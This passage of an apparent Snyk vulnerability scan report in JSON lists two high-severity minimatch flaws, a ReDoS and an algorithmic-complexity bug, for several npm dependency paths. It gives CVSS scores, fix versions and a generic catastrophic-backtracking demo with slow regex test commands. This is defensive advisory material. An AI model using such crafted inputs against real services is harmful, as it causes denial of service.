look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" 